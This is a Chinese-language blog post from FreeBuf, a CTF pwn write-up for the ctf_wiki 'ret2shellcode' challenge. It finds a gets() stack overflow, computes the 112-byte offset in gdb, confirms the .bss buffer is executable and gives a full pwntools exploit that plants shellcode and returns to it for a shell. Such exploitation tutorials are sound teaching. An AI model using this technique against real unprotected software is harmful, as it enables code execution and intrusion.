freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

【二进制兔子之pwn-栈溢出】— ret2shellcode
Binary_Rabbit 2023-03-24 17:15:39 172070
所属地 上海

ret2shellcode

0x1、程序信息

描述内容
程序名称ret2shellcode
程序平台linux
程序来源ctf_wiki
CPU架构x86
libc版本2.31
利用手法ret2shellcode
系统版本Ubuntu 20.04 LTS
下载地址https://wwnd.lanzoue.com/ijspE0qedbte

0x2、检查保护

1.没有开启任何保护,堆、栈、BSS段均可执行代码

image-20210926111958664.png

0x3、寻找溢出点

1.很明显的看到main函数中的gets函数存在溢出点,不过要注意下方,它将输入的字符串复制到了buf2变量中

image-20210926112604643.png

2.我们双击buf2变量,跳转到了.bss段中,说明它是一个未初始化的全局变量

3.既然它会将用户输入的内容复制到这里来,且又没有开NX保护,所以我们直接在此处写入shellcode跳转过来

image-20210926112710193.png

0x4、计算溢出偏移

1.gbd加载程序,输入cyclic 200生成200个随机字符,按r,继续运行程序,粘贴随机字符串

image-20210926112852607.png

2.当程序断下来后,复制当前EIP

image-20210926112913383.png

3.输入cyclic -l EIP,计算出溢出偏移

image-20210926112934853.png

0x5、验证bss段可执行

1.在main函数下一个断点并执行

image-20210926113407651.png

2.输入vmmap,查看起始为0x804a000模块权限信息(buf2在0x804a080),发现是带有可执行权限的

image-20210926113216941.png

0x6、编写exp脚本

1.编写exp脚本

from pwn import *

# 启动进程
io = process('./ret2shellcode')

# 使用pwntools自带的命令生成shellcode
# 填充长度为产生溢出的偏移112
shellcode =  asm(shellcraft.sh()).ljust(112,b'\x00')

# 全局变量buf2的地址
payload = shellcode + p32(0x804A080)

# 发送shellcode
io.sendline(payload)

# 获取交互式shell
io.interactive()

2.运行脚本

image-20210926114020926.png

# CTF # 缓冲区溢出 # pwn
本文为 Binary_Rabbit 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
Binary_Rabbit LV.3
这家伙太懒了,还未填写个人描述!
  • 4 文章数
  • 2 关注者
【二进制兔子之pwn-栈溢出】— ret2plt
2023-03-24
【二进制兔子之pwn-栈溢出】— ret2reg
2023-03-24
【二进制兔子之PWN-栈溢出】— ret2text
2023-03-24
文章目录